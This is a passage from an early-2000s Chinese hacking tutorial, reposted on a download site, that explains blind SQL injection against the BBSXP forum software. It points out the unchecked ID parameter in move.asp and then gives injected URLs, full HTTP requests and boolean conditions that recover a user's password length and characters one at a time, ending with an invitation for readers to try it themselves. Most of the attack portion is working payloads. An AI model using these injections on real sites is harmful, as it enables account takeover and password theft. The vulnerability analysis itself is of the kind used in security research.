⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 read it.txt

📁 2004--黑客防线-精华奉献本(攻册
💻 TXT
📖 第 1 页 / 共 2 页
字号:


forumid=1&postvote=0 


  返回了一个HTTP/1.1 500 Internal Server Error。因为结果为空,就是说我们猜错了。如果我们猜对了的话,应该是这个: 


POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username=<|>test<|>%20and%20right(left(userpass,1),1)=<|>1<|>) HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* 
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) 
Host: localhost 
Content-Length: 20 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG 


forumid=1&postvote=0 


  返回了一个HTTP/1.1 200 OK,不管其他是什么,这里肯定是猜对了。重复这个简单无聊的过程,便可一位一位猜出密码来,有时间你可以慢慢写程序,或者是慢慢猜,但是可以肯定的是,这种事情是毫无意义的。 


  先给朋友们看这个文章的时候,有位仁兄友情编写了一个“很没有意义的”程序,就是来猜这个的,非常的分特啊。好像只是能用而已,有条件的朋友可以测试一下!

BBSXP漏洞[倒着看五]
N.E.V.E.R at Ada Laboratory CSE.SEU 


  天知道我哪这么有空来慢慢写这些鬼东西,可能是因为无聊吧,或者是想赶快把这个恼人的系列结束掉。南京这里天气太热,躲在实验室里给导师看到在玩的话就糟糕了,于是只好装模做样的弄点事情来做,算是对得起实验室的经费吧。 
  一到四朋友看了都说写得很糟糕,我一边看着他们摇头一边直冒汗,等他们摇完头我衣服都湿透了,只好勉强挤出一点笑容然后赶快跑掉。我知道他想说什么,但是我不想连续点上半个小时的头,那样的话不如回来写五。鉴于前面写得如此糟糕,我会尝试用另外的方法来写写。 


  其实在有源代码的情况下找漏洞是很简单的,你需要付出的是一点点时间和细心。看代码有很顺利和不太顺利的时候,顺利的时候就像拉肚子,西里哗啦一会儿就看完找到问题了,不顺利的时候就像便秘,拖拖拉拉半天都看不了多少。这和代码写的质量也有关系,写得好的代码别人很容易接受,写得不好的代码看起来就是一场灾难。如果说代码是食物而看代码是吃饭的话,美妙的代码就应该像馊了的稀饭一样,别人一吃就拉。当然,胃是可以锻炼的,平时多看代码,即使像BBSXP一样坚如玄铁的代码,吃下去一样可以西里哗啦。 
  比如我们要找SQL Injection的漏洞,自然会到生成SQL查询语句的代码中去搜寻。一般来说,满足两个条件的就可以:一、生成的SQL查询语句中包含我们提交的内容;二、提交的内容没有过滤或者是过滤不完全,像1.65a版move.asp行22: 


sql="select * from forum where ID="&ID&" and forumid="&forumid&"" 


  里面有两个变量,都有可能满足上面的两个条件,往上看ID和forumid从何而来,行4、5: 


ID=Request("ID") 
forumid=Request("forumid") 


  都是用户提交的,满足第一个条件。当然还要看看是否满足第二个条件,行6、7、8: 


if isnumeric(""&forumid&"") = flase then 
error("<li>非法操作") 
end if 


  这个是说forumid是检查了的,如果不是数字的话就会导致一个“非法操作”,但是我们看到代码里面并没有对ID进行检查,这就满足第二个条件了。事实上VB对变量的类型不是特别的严格,看起来ID好像应该是一个整型,但我们提交一个字符串型的ID也不会造成错误,真是很遗憾啊。 
  依据数据库的类型,我们可以作出不同的攻击策略,如果是MSSQL,这是支持多语句查询的,而且可以利用存储过程,相对来说简单一点;如果是ACCESS,最多就只能在一个库里面跨表操作,且只支持单一语句查询,功能要弱一些,一般以猜测密码为最终的目的。其实对于MSSQL进行攻击也是很有趣的,有时候也会要一些很巧妙的技巧,不过鉴于大部分BBSXP都是用的ACCESS,就不讨论MSSQL下的攻击了。 
  我们先看这样一句查询语句: 


select * from forum where id=1 and 1=(select count(*) from user) and forumid=1 


  执行这个就返回的结果来看,可以是空或者非空,关键在于where后面的条件。分开来看的话,可以是三个条件的合取范式,抛开id=1和forumid=1,来看看中间的一个条件: 


1=(select count(*) from user) 


  这个条件为真的话,整个范式就为真,也就是说查询后的返回集不为空,否则的话返回集就是一个空集。这个条件是说user表里面的列项是否为1,由于我们可以获知返回集的空与非空的情况,进一步就可以知道user表里面的列项是否为1了。一句话,上面的查询语句返回结果为空,就是说user表里有1个列,否则user表里面列项就不为1。 
  这是很容易理解的,弄懂了这个,就可以构造条件来让对方回答是或者否了。猜谜码除了问你的密码是不是xxxxxxx以外,还可以问你的密码第x位是不是x,你的密码是不是一共有x位等等,我们就是这样猜出别人的密码的,打个比方,我们问,never的密码长度是不是7位啊,条件就这样写: 


1=(select count(*) from user where username=<|>never<|> and len(userpass)=7) 


  要是猜对方的第a位密码是不是<|>x<|>,就这样构造条件: 


1=(select count(*) from user where username=<|>never<|> and right(left(username,a),1)=<|>x<|>) 


  通过对方回答是还是不是就可以猜出来了。嗯,这仅仅是构造了条件,如果是完整的一个查询语句的话,应该是这样,我们还是完整的写出来,虽然有点长: 


select * from forum where id=1 and 1=(select count(*) from user where username=<|>never<|> and len(userpass)=7) and forumid=1 


  这是问never的密码长度是不是7位的查询语句,比较一下move.asp第22行的那个语句,看出来id为什么的时候就成了上面一条了吗? 


ID="1 and 1=(select count(*) from user where username=<|>never<|> and len(userpass)=7)" 
forumid=1 


  于是我们又倒回来,只要提交上述的id和forumid值,不就可以慢慢的猜随便那个人的密码了吗? 


  明白了道理,利用就简单了。按照对代码的分析,如果查询后的结果rs为空,后面调用了rs的属性,一定会报错,如果rs不为空,那么一切正常。换句话说,猜对了的话,看到的就是正常的信息,猜错了的话就会看到这样的错误: 


"BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。" 


  实战演练一下,随便以一个人登陆,然后在地址栏中键入: 


http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user where username=<|>never<|> and len(userpass)=7) 


  哗,返回了一个空白页,看代码就可以看到上面的错误信息,也就是说密码不是7位。再猜猜密码是不是9位。 


http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user where username=<|>never<|> and len(userpass)=9) 


  哗,显示出来将帖子移动到什么地方的选项,没有错误信息,也就是说密码就是9位了。同样,下面就应该来慢慢的猜每一位的密码,自己可以试试? 

Download by
小凤居-黑客行
www.ChineseHack.org

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -